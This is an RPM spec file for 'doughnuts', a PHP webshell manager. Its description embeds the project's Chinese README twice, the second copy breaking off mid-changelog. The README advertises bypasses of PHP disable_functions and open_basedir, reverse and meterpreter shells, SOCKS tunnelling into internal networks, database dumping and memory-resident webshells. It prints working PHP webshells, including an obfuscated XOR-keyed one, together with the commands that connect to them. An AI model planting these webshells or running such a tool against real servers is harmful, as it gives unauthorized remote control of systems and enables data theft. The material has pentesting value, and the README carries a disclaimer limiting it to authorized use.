path: root/python-doughnuts.spec

%global _empty_manifest_terminate_build 0
Name:		python-doughnuts
Version:	4.24.0
Release:	1
Summary:	A webshell manager for PHP
License:	MIT
URL:		https://github.com/way29/doughnuts
Source0:	https://mirrors.nju.edu.cn/pypi/web/packages/02/89/a6b54112f7760a2661434b8f102c8d4270767b5523a6bf71a0002e0045cc/doughnuts-4.24.0.tar.gz
BuildArch:	noarch

Requires:	python3-requests
Requires:	python3-colorama
Requires:	python3-prettytable
Requires:	python3-pysocks
Requires:	python3-tqdm
Requires:	python3-six

%description
# Doughnuts

*一个基于Python3.6+的PHPwebshell管理器*


<p align="center">
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
     </a>
     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
     </a>
     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
     </a>
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
     </a>
     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
     </a>
</p>

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)

## 使用文档

~~终于迎来了新的使用文档！~~

***文档中许多内容已经过期，请以新版为准***

详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。

## 特征

- 支持连接,记录,管理webshell,方便下一次连接
- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
- **请求与响应伪装**
- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
- **支持绕过open_basedir**
- **支持多种方式绕过disable_functions**
    - 自动识别
    - php7-backtrace
    - php7-gc
    - php7-json
    - php7-splDoublyLinkedList
    - LD_PRELOAD
    - FFI
    - COM
    - imap_open
    - MYSQL-UDF
    - fpm(支持四种攻击方式，sock和端口的攻击方式)
    - apache-mod-cgi
    - iconv
    - FFI-php_exec
    - php7-reflectionProperty
    - user_filter
- 核心功能
    - 获取网站,系统,进程信息
    - 输出disbale_functions
    - 寻找可写的PHP文件(以树状结构显示)
    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
    - 执行自定义的php代码
    - 获取一个临时的非完全交互式shell和webshell
    - 正向/反弹shell
    - 可以支持弹meterpreter的shell(php代码实现)
    - (仅限双方均为*unix)获取完全交互式的反弹shell
    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
    - 数据库管理,临时的sql-shell,数据dump,分段dump
    - **端口扫描**
    - **出网检测**
    - **集成neo-regeorg，一键开启socks5服务器**
    - 内网网页文本式浏览代理，可自定义请求方法和数据
    - 检测suid文件并给出提权建议 / 检测杀毒软件
- 易于扩展

## 依赖

- Python3.6+
- Python-requests
- Python-pysocks
- Python-colorama
- Python-prettytable

## 安装/运行方法

***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***

- 使用pip安装

```sh
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
```

- 通过poetry安装

```sh
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
```

- 直接安装

```sh
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
```

- 使用docker

```bash
# 启动一个doughnuts容器
docker run --name doughnuts -itd longlone/doughnuts
# 执行doughnuts容器的bash
docker exec -it doughnuts bash
# 在容器中运行doughnuts,这样你可以存储webshell记录等
doughnuts

# 或者直接执行doughnuts
docker run --rm -it longlone/doughnuts:cli
```

## 使用例子

*由于windows原因，在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递，且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*

1. 普通webshell:

    - 最平凡的webshell:

        ```php
        //test1.php
        <?php
        error_reporting(0);
        eval($_POST['2333']);
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      ```
      connect http://localhost/test1.php POST 2333
      ```
      
    - 带解码的webshell:

        ```php
        //test2.php
        <?php
        error_reporting(0);
        eval(str_rot13(base64_decode($_REQUEST['2333'])));
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      
      ```
      connect http://localhost/test2.php POST 2333 rot13 base64
      ```
      
    - 需要额外参数与解码的webshell:

        ```php
        //test3.php
        <?php
        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
        	@eval(base64_decode($_POST['2333']));
        }
        ```

        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

        ```
        connect http://localhost/test.php POST 2333 base64 "data:a=123"
        ```

2. 生成webshell:
    1. 运行doughnuts
    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell

## 自定义编码器
1. 进入doughnuts/encode目录
2. 新建/拷贝一个py文件,起一个名字,以time.py为例
3. 文件中只需要写一个run函数,类似于
```python
from libs.config import alias


@alias(True)
def run(data: str):
    cipher = data
    return cipher
```
4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
6. 一个例子,以时间为秘钥的编码器
```python
from libs.config import alias
from hashlib import md5
from base64 import b64encode
import time


@alias(True)
def run(data: str):
    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
    key = md5(format_time.encode()).hexdigest().encode()
    data = data.encode()
    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
    cipher = b64encode(cipher).decode()

    return cipher
```
对应的php webshell
```php
<?php 
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
    $post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
```

## 自定义webshell模板
1. 进入doughnuts/webshell_plugins目录
2. 新建/拷贝一个py文件,起一个名字,以test.py为例
3. 文件中只需要写一个get_php函数,类似于
```python
def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
    ...
```
4. 各个参数解释
    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
    - passwd是连接webshell的密码
    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell

## 参考

- https://github.com/WangYihang/Webshell-Sniper
- https://github.com/epinna/weevely3

## 更新日志

### 4.24.0
- 4.24.0 
  - 4.24.0
    - 新增功能
        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
    - 优化
      - 优化bdf-fpm的逻辑，修复一些bug
### 4.23.0
- 4.23.0
    - 新增功能
        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
- 4.23.1
    - 修复bug
        - connect: 某些webshell无法连接的问题 (出现 IndexError)
        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
        - portscan: 无法使用的问题
        - upload: 使用file_put_contents上传文件时错误的问题
- 4.23.2
    - 修复bug
        - 在linux下调用vi编辑器会导致无法写入的问题
        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
- 4.23.3
    - 修复bug       
        - upload无法使用的bug
        - 在艰难环境下连接webshell的优化

### 4.22.0

- 4.22.0
  - 新增功能
    - extension
      - 查看当前php所装扩展
  - 优化功能
    - 去除安装脚本中部分多余代码
    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
    - 现在输入完整命令后按方向键(→)或tab显示候选参数
    - 现在会根据自带的base64函数是否可用自动补上base64函数头
    - cat
      - 现在会根据情况自动选择读取文件方式
    - write
      - 现在会根据情况自动选择写入文件方式
  - 重构代码
    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
    - 对myapp.py中大部分php代码进行包装转移
    - 对connect.py中部分php代码进行包装转移
    - 对webshell_plugins内大部分插件的php代码进行包装转移
  - 修复bug
    - readline:
      - 在自动补全参数时有可能会重复补全命令的错误
      - 无法对general中命令参数进行自动补全的错误
      - 有关debug代码部分的错误
    - 更正部分文本错误，去除部分多余代码

### 4.21.0

- 4.21.0
    - 新增功能
        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
    - 修复bug
        - bdf-fpm:
            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
### 4.20.0
- 4.20.0
    - 新增特性
        - 在极端环境下连接webshell
    - 新增功能
        - bdf: 12-iconv 增加bypass函数

### 4.19.0
- 4.19.0
    - 新增功能
        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
### 4.18.0
- 4.18.0
    - 修复bug
        - proxy: 可能失效的问题
        - db_shell: 命令重复执行

    - 优化功能
        - upload
            - 使用$_FILES上传失败时显示失败原因
        - socks
            - windows下http path的默认值使用/替换\
    - 新增功能
        - db_exec
            - 启动编辑器执行任意sql语句
- 4.18.1
    - 修复bug
        - db_mdump
            - 重试无效的问题
            - 线程不安全导致dump的数据不全或重复的问题
            - 数据为空时与数据类型不匹配的问题,将''替换为null
- 4.18.2
    - 修复bug
        - mdownload
            - 重试后无论如何都显示下载失败
    - 优化功能
        - 使用自定义的函数获取php配置选项的值，而非ini_get
        - getenv
            - 使用自定义的函数获取php配置选项的值，而非ini_get
        - mdownload
            - 添加hash验证
            - 增加提示
            - 使用临时文件而非内存存储chunk
        - 请求: 添加重试次数2
- 4.18.3
    - 修复bug
        - mdownload,download在下载时会创建文件夹
        - write写入文件名错误
        - edit编辑文件时为空
    - README
        - 添加shields
### 4.17
- 4.17.0
    - 添加说明
        - bdf: 补充4.15新增的fpm-ftp模式的说明
    - 新增功能
        - bdf-fpm:
            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
        - system:
            - 若命令以&结尾，则会将其起新线程挂在后端执行

        

### 4.16
- 4.16.0
    - 优化功能
        - socks
            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
            - 支持在fsockopen被禁用时使用pfsockopen
            - 更改说明,只支持5.4.0及以上版本
    - 新增功能
        - phpinfo
            - 调用默认浏览器显示phpinfo信息
    - 修复bug
        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
        - 修复某些命令会输出debug消息的bug
        - fwpf无法生效
        - connect时额外参数有多个:或者=号时程序异常
        - download，mdownload:指定文件保存名时认为是目录的bug
- 4.16.1
    - 优化功能
        - 删除generate的非交互输出
        - 修改reverse的文档，windows-php不建议使用
        - connect:假如ini_get被禁用也能够链接
        - bdf-10-fpm
            - http_sock: 支持stream_socket_client函数作为备用
            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
        

### 4.15
- 4.15.0
    - 修改别名
        socks -> old_socks
    - 新增功能
        - bdf
            - 增加FFI-php_exec, php7-reflectionProperty模式
        - outnetwork
            - 快速检查目标机器是否能出网
        - socks
            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
    - 修改输出
        write
    - 修复bug
        - 无法使用参数短别名
        - requirements.txt中的urllib3版本修改为1.26.5
- 4.15.1
    - 修改bug
        - ps命令在无法读取/proc目录时没有输出报错
        - execute,write,edit无法使用自定义编辑器或报错
    - 修改输出
        - touch
    - 优化功能
        - execute,write,edit
            - 现在编辑一个临时的php文件而非无后缀文件
            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
            - 当使用code(即vscode)时会自动添加--wait参数
    

### 4.14
- 4.14.0
    - 新增功能
        - bdf
            - 增加iconv模式
    - 修复bug
        - edit, upload
        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
- 4.14.1
- 4.14.2
    - 修复bug
        - 在Python3.9中报错
            -bindshell, remp, reverse, socks
        - gululingbo模板生成的webshell没有php头
        - log命令默认参数时提示File path is invalid
- 4.14.3
    - 修复bug
        - 在windows下连接使用额外参数时错误
        - ls显示带有空格文件名的文件的时候显示不全
    - 删除特性
        - 不再能从外部使用connect命令

        
### 4.13
- 4.13.0
    - 新增功能
        - bdf
            - 增加apache-mod-cgi模式
- 4.13.1
    - 修复bug
        - iconv.c源码
### 4.12
- 4.12.0
    - 新增功能
        - bdf
            - 修改ld_preload部分,重构代码,支持x86 linux
            - 为udf部分切割代码
        - reverse
            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
            - 添加bash_exec类型,使用exec和管道符实现
        - search
            - 添加别名find, 最后结果以绝对路径显示
        - remp
            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
        - upload
            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
    - 修复bug
        upload
    - 添加注释
        bdf, reverse, av, checkvm
    - 修改帮助文档
        bdf, reverse, bobd, search, upload
    - 重构代码
        search, bdf, upload
    - 修改分类
        - verbose general->COMMON
### 4.11
- 4.11.0
    - 修改命令
        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
            现在支持三种attack_type: gopher,sock,http_sock
            - gopher: 使用curl扩展与gopher协议攻击fpm端口
            - sock: 使用stream_socket_client攻击fpm-sock
            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
    
- 4.11.1
    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
- 4.11.2
    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
### 4.10
- 4.10.0
    - 修改命令
        - touch命令 支持windows,不再调用系统命令去实现
- 4.10.1-3(废弃版本)
- 4.10.4
    - 添加缺少的依赖到requirements.txt: six
- 4.10.5
    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
### 4.9
- 4.9.0
    - 修改核心
        - 添加custom_plugins目录,用于存放用户自己编写的插件
        - 添加config.ini文件,用于配置相关参数
- 4.9.1
    - 修复在pypi版本与github版本不一致的问题
- 4.9.2
- 4.9.3, 4.9.4
    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug

### 4.8
- 4.8.0
    - 修改命令
        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
- 4.8.1
    - 优化代码结构
    - 优化doughnuts加密算法
    - 修复enrecv不存在的问题

### 4.7
- 4.7.0
    - 修改命令
        - remp命令 修改php模式的payload,添加bash和python的payload
        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)

### 4.6
- 4.6.0
    - 添加命令
        - verbose命令 用于开启/关闭提示符的详细信息显示

### 4.5
- 添加命令
    - enrecv命令 用于随时开启/关闭回显加密
    - remp命令 可以简易的弹一个meterpreter的shell
- 修复bug
    - 修复回显加密在弹shell时可能会出现解码错误的问题
- 4.5.1
    - 现在使用随机字符作为连接是否成功的判断以防特征检测
- 4.5.2
    - 添加命令
        - mkdir命令 创建文件夹
        - rmdir命令 删除空文件夹

### 4.4
- 修改核心
    - 使用算法将回显加密
- 4.4.1
    - 修复bug
        - **回显加密在php5会出错**
- 4.4.2
    - 修改命令
        - touch命令 提示修改
        - ps命令    提示修改,只允许在*unix目标上运行
    - 修复bug
        - 曾导致在linux下调用vi编辑器失败

### 4.3
- 修改命令
    - portscan去除短名ps, 修改显示结果,变得更加可读
    - bobd支持在ini_set被禁用时使用ini_alter
    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
- 添加命令
    - copy命令 用于复制文件
    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
- 修复bug
    - 在back返回主菜单后清理mysql连接记录


### 4.2
- 修改结构
    - myapp尝试丢弃webshell执行代码之前的输出
- 添加命令
    - mdownload命令 用于分块下载文件
- 修改命令
    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
- 修复bug
    - 修复mdownload, mupload没有ls后补全的问题
- 新增依赖
    - tqdm
- 4.2.1
    - 修改命令
        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义




### 4.1
- 修改结构
    - 新建插件时不再需要更改helpmenu.py


### 4.0
- 修改命令
    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
    - 修复某些文本错误
    - db_dump命令 
        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
    - dump命令
        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
- 添加命令
    - db_mdump命令 用于分块dump数据库
- 4.0.1
    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
- 4.0.2
    - 修复了db_mdump数据重复的问题
- 4.0.3
    - 删除测试输出,删除db_mdump中DROP DATABASE语句

## 免责声明

本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.


%package -n python3-doughnuts
Summary:	A webshell manager for PHP
Provides:	python-doughnuts
BuildRequires:	python3-devel
BuildRequires:	python3-setuptools
BuildRequires:	python3-pip
%description -n python3-doughnuts
# Doughnuts

*一个基于Python3.6+的PHPwebshell管理器*


<p align="center">
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
     </a>
     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
     </a>
     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
     </a>
     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
     </a>
     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
     </a>
</p>

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)

![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)

## 使用文档

~~终于迎来了新的使用文档！~~

***文档中许多内容已经过期，请以新版为准***

详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。

## 特征

- 支持连接,记录,管理webshell,方便下一次连接
- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
- **请求与响应伪装**
- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
- **支持绕过open_basedir**
- **支持多种方式绕过disable_functions**
    - 自动识别
    - php7-backtrace
    - php7-gc
    - php7-json
    - php7-splDoublyLinkedList
    - LD_PRELOAD
    - FFI
    - COM
    - imap_open
    - MYSQL-UDF
    - fpm(支持四种攻击方式，sock和端口的攻击方式)
    - apache-mod-cgi
    - iconv
    - FFI-php_exec
    - php7-reflectionProperty
    - user_filter
- 核心功能
    - 获取网站,系统,进程信息
    - 输出disbale_functions
    - 寻找可写的PHP文件(以树状结构显示)
    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
    - 执行自定义的php代码
    - 获取一个临时的非完全交互式shell和webshell
    - 正向/反弹shell
    - 可以支持弹meterpreter的shell(php代码实现)
    - (仅限双方均为*unix)获取完全交互式的反弹shell
    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
    - 数据库管理,临时的sql-shell,数据dump,分段dump
    - **端口扫描**
    - **出网检测**
    - **集成neo-regeorg，一键开启socks5服务器**
    - 内网网页文本式浏览代理，可自定义请求方法和数据
    - 检测suid文件并给出提权建议 / 检测杀毒软件
- 易于扩展

## 依赖

- Python3.6+
- Python-requests
- Python-pysocks
- Python-colorama
- Python-prettytable

## 安装/运行方法

***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***

- 使用pip安装

```sh
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
```

- 通过poetry安装

```sh
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
```

- 直接安装

```sh
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
```

- 使用docker

```bash
# 启动一个doughnuts容器
docker run --name doughnuts -itd longlone/doughnuts
# 执行doughnuts容器的bash
docker exec -it doughnuts bash
# 在容器中运行doughnuts,这样你可以存储webshell记录等
doughnuts

# 或者直接执行doughnuts
docker run --rm -it longlone/doughnuts:cli
```

## 使用例子

*由于windows原因，在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递，且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*

1. 普通webshell:

    - 最平凡的webshell:

        ```php
        //test1.php
        <?php
        error_reporting(0);
        eval($_POST['2333']);
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      ```
      connect http://localhost/test1.php POST 2333
      ```
      
    - 带解码的webshell:

        ```php
        //test2.php
        <?php
        error_reporting(0);
        eval(str_rot13(base64_decode($_REQUEST['2333'])));
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      
      ```
      connect http://localhost/test2.php POST 2333 rot13 base64
      ```
      
    - 需要额外参数与解码的webshell:

        ```php
        //test3.php
        <?php
        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
        	@eval(base64_decode($_POST['2333']));
        }
        ```

        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

        ```
        connect http://localhost/test.php POST 2333 base64 "data:a=123"
        ```

2. 生成webshell:
    1. 运行doughnuts
    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell

## 自定义编码器
1. 进入doughnuts/encode目录
2. 新建/拷贝一个py文件,起一个名字,以time.py为例
3. 文件中只需要写一个run函数,类似于
```python
from libs.config import alias


@alias(True)
def run(data: str):
    cipher = data
    return cipher
```
4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
6. 一个例子,以时间为秘钥的编码器
```python
from libs.config import alias
from hashlib import md5
from base64 import b64encode
import time


@alias(True)
def run(data: str):
    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
    key = md5(format_time.encode()).hexdigest().encode()
    data = data.encode()
    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
    cipher = b64encode(cipher).decode()

    return cipher
```
对应的php webshell
```php
<?php 
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
    $post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
```

## 自定义webshell模板
1. 进入doughnuts/webshell_plugins目录
2. 新建/拷贝一个py文件,起一个名字,以test.py为例
3. 文件中只需要写一个get_php函数,类似于
```python
def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
    ...
```
4. 各个参数解释
    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
    - passwd是连接webshell的密码
    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell

## 参考

- https://github.com/WangYihang/Webshell-Sniper
- https://github.com/epinna/weevely3

## 更新日志

### 4.24.0
- 4.24.0 
  - 4.24.0
    - 新增功能
        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
    - 优化
      - 优化bdf-fpm的逻辑，修复一些bug
### 4.23.0
- 4.23.0
    - 新增功能
        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
- 4.23.1
    - 修复bug
        - connect: 某些webshell无法连接的问题 (出现 IndexError)
        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
        - portscan: 无法使用的问题
        - upload: 使用file_put_contents上传文件时错误的问题
- 4.23.2
    - 修复bug
        - 在linux下调用vi编辑器会导致无法写入的问题
        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
- 4.23.3
    - 修复bug       
        - upload无法使用的bug
        - 在艰难环境下连接webshell的优化

### 4.22.0

- 4.22.0
  - 新增功能
    - extension
      - 查看当前php所装扩展
  - 优化功能
    - 去除安装脚本中部分多余代码
    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
    - 现在输入完整命令后按方向键(→)或tab显示候选参数
    - 现在会根据自带的base64函数是否可用自动补上base64函数头
    - cat
      - 现在会根据情况自动选择读取文件方式
    - write
      - 现在会根据情况自动选择写入文件方式
  - 重构代码
    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
    - 对myapp.py中大部分php代码进行包装转移
    - 对connect.py中部分php代码进行包装转移
    - 对webshell_plugins内大部分插件的php代码进行包装转移
  - 修复bug
    - readline:
      - 在自动补全参数时有可能会重复补全命令的错误
      - 无法对general中命令参数进行自动补全的错误
      - 有关debug代码部分的错误
    - 更正部分文本错误，去除部分多余代码

### 4.21.0

- 4.21.0
    - 新增功能
        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
    - 修复bug
        - bdf-fpm:
            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
### 4.20.0
- 4.20.0
    - 新增特性
        - 在极端环境下连接webshell
    - 新增功能
        - bdf: 12-iconv 增加bypass函数

### 4.19.0
- 4.19.0
    - 新增功能
        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
### 4.18.0
